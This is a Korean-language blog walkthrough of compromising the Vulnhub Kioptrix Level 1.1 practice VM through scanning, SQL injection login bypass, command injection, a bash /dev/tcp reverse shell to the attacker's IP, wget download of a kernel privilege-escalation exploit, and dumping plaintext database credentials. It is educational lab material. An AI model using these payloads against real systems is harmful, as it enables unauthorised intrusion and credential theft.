Vulnhub

[Vulnhub] Kioptrix_Level_1.1 (#2) Walkthrough

jeff_kim 2024. 6. 17. 18:50

https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

 

Kioptrix: Level 1.1 (#2)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

실습 VM이 IP가 안잡힌다면 이전 글에서 설명한 실습 VM 셋팅을 보시고 셋팅을 하면 잘 잡힙니다.

 

실습 환경 : VirtualBox(Kali, 실습VM)

 

Kioptrix 시리즈가 5개 정도 있는데 이번엔 두번째 Level 1.1을 실습해보도록 하겠습니다. 

 

정보 수집

Nmap 툴을 이용한 통신 가능한 대상 호스트 확인 후 포트스캐닝 진행한다.

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.88
Host is up (0.00058s latency).
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)
...
└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.88 -oA tcpAll  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 16:59 KST
Nmap scan report for 192.168.45.88
Host is up (0.00046s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
613/tcp  open  hmmp-op
631/tcp  open  ipp
3306/tcp open  mysql
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds

# 포트번호 파싱
└─$ cat tcpAll.nmap | awk '{ print $1 }' | grep -i 'tcp' | tr -d '/tcp' | paste -s -d ','
22,80,111,443,613,631,3306

# tcpDetiled 
└─$ sudo nmap -p 22,80,111,443,613,631,3306 -sV -sC -Pn --max-retries 1 --min-rate 2000 -n --open 192.168.45.88 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 17:01 KST
Nmap scan report for 192.168.45.88                                            
Host is up (0.00041s latency).  
                                       
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:                                                                
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).                                                                                          
111/tcp  open  rpcbind  2 (RPC #100000)                     
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            610/udp   status
|_  100024  1            613/tcp   status
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
|_ssl-date: 2024-06-17T12:02:05+00:00; +3h59m56s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47 
|_Not valid after:  2010-10-08T00:10:47 
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
|_http-server-header: Apache/2.0.52 (CentOS)
613/tcp  open  status   1 (RPC #100024) 
631/tcp  open  ipp      CUPS 1.1
|_http-server-header: CUPS/1.1
| http-methods: 
|_  Potentially risky methods: PUT
|_http-title: 403 Forbidden
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)

Host script results:
|_clock-skew: 3h59m55s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds

22 - openssh 3.9p1

80 - apache httpd 2.0.52 (CentOS)

443 - ssl/http apache httpd 2.0.52

631 - ipp cups 1.1 (프린터 관련 포트)

3306 - mysql (unauthorized)

 

WEB

우선 가장 쉽게 정보 수집이나 취약점을 파악하여 연계할 수 있는 웹 취약점 부터 파악한다

첫 페이지에서 관리자 계정으로 로그인할 수 있는 페이지가 뜬다. Wappalyzer에 의하면 apache 2.0.52, PHP 4.3.9를 사용하고 있다고 한다.

robots.txt 및 페이지 소스에서 획득할만한 정보 없다. gobuster 툴을 이용해 디렉터리 브루트포싱을 한다

apache를 설치하고 기본적인 메뉴얼에 대한 설명이 적혀있는 것을 확인할 수 있는데, 웹 서버를 구축한 관리자가 이 페이지를 지우지 않는다면 이 또한 공격자가 공격할 취약점이 될 수 있다는점 명심해야한다.

 

MYSQL

└─$ mysql -u root -h 192.168.45.88 
ERROR 1130 (HY000): Host '192.168.45.219' is not allowed to connect to this MySQL server

 

Mysql이 unauthorized 상태에 있었지만 외부에서 접근하는것은 불가능하다. 그렇다면 웹 사이트에서 SQL Injection 공격을 해본다

 

username : admin' or '1'='1

password: 아무거나

SQL Injection 공격이 성공했다. ping을 보낼 수 있는 cmd 창이 뜨는데 127.0.0.1을 넣어 테스트를 한번 해본다

이렇게 새로운 창이 뜨면서 결과가 출력되는데 어쩌면 Command Injection 까지 할 수 있는 발판이 마련되었다.

Command Injection 공격까지 취약한 것을 파악했다.

그렇다면 간단한 한줄 페이로드를 생성하여 cmd 에 삽입한 후에 리버스쉘을 획득한다

 

익스플로잇 

SQL Injection 이후 Command Injection 까지 취약점을 발견하였고, 테스트 결과 성공하였다.

웹쉘보단 리버스쉘을 선호하는 나는 revshells.com를 참고하여 bash 쉘에서 사용할 수 있는 간단한 리버스쉘 코드를 작성하였다.

/bin/bash -i >& /dev/tcp/192.168.45.219/7777 0>&1

리버스쉘을 얻는 것이기 때문에 공격자가 받을 수 있는 IP와 포트번호를 적은 후 netcat 명령어를 이용하여 리버스쉘을 획득한다

핑을 보낸 결과를 출력하는 웹 페이지에서는 로딩이 되고있지만 공격자 PC에서는 리버스쉘을 획득했다.

 

후속 정보 수집

간단히 리버스쉘 업그레이드를 한 후에 후속 정보 수집을 한다. 업그레이드가 되었다면 ssh 연결된 것과 같기 때문에 실수로 끄는 일은 없을 것이다.

1. python -c 'import pty;pty.spawn("/bin/bash")' 
2. ctrl+z 
3. stty raw -echo; fg 
4. reset

 

index.php파일을 읽어 데이터베이스에 대한 정보가 있는지 확인한다.

bash-3.00$ cat index.php                                                      
<?php                        
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error()); 
        //print "Connected to MySQL<br />";
        mysql_select_db("webapp");                                            
                                                                              
        if ($_POST['uname'] != ""){
                $username = $_POST['uname'];
                $password = $_POST['psw'];
                $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
                //print $query."<br>";
                $result = mysql_query($query);

                $row = mysql_fetch_array($result);
                //print "ID: ".$row['id']."<br />";
        }

?>

평문화된 유저 이름과, 비밀번호가 있는 것을 확인했다. 데이터베이스에 접근하여 다른 취약점이 있는지 확인한다

bash-3.00$ mysql -u john -p
mysql -u john -p
Enter password: hiroshima

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 352 to server version: 4.1.22

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
show databases;
+----------+
| Database |
+----------+
| mysql    |
| test     |
| webapp   |
+----------+
3 rows in set (0.00 sec)

정상적으로 접근이 성공했다. 

데이터베이스에서 역시 두개의 유저를 발견, 해시화 되지 않고 평문화된 비밀번호 획득했다. 평문화된 비밀번호 대신 최신 알고리즘을 사용한 해시화된 알고리즘을 사용하는 것을 권장한다.

 

권한 상승

권한 상승을 위한 linpeas.sh 스크립트를 실행 시킨다.

딱히 권한 상승을 할 만한 취약점이 없었는데 시스템에 대한 정보가 눈에 들어왔다

대상 호스트는 CentOS 4.5 리눅스 커널은 2.6.9이다. 한번더 searchsploit 툴을 이용해 공개 취약점이 있는지 검색해본다

사용할 것은 9542.c, CVE-2009-2698 코드를 가지고 있는 공개 취약점이다.

** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).

권한 상승 익스플로잇 코드에서 발췌한 내용이다. 대상 호스트와 동일한 OS와 커널 버전을 테스트 했다고 명시되어있다.

공격자 PC에서 파일을 다운, 컴파일 후 대상 호스트에서 실행시킨다.

 

# 익스플로잇 코드 가져오기
└─$ searchsploit -m 9542 .

# 공격자PC에서 웹 서버 열기
└─$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

# 대상 호스트에서 다운로드
bash-3.00$ wget http://192.168.45.219:1234/9542.c

대상 호스트에서 컴파일 후에 실행.  최종적으로 관리자 권한을 획득했다.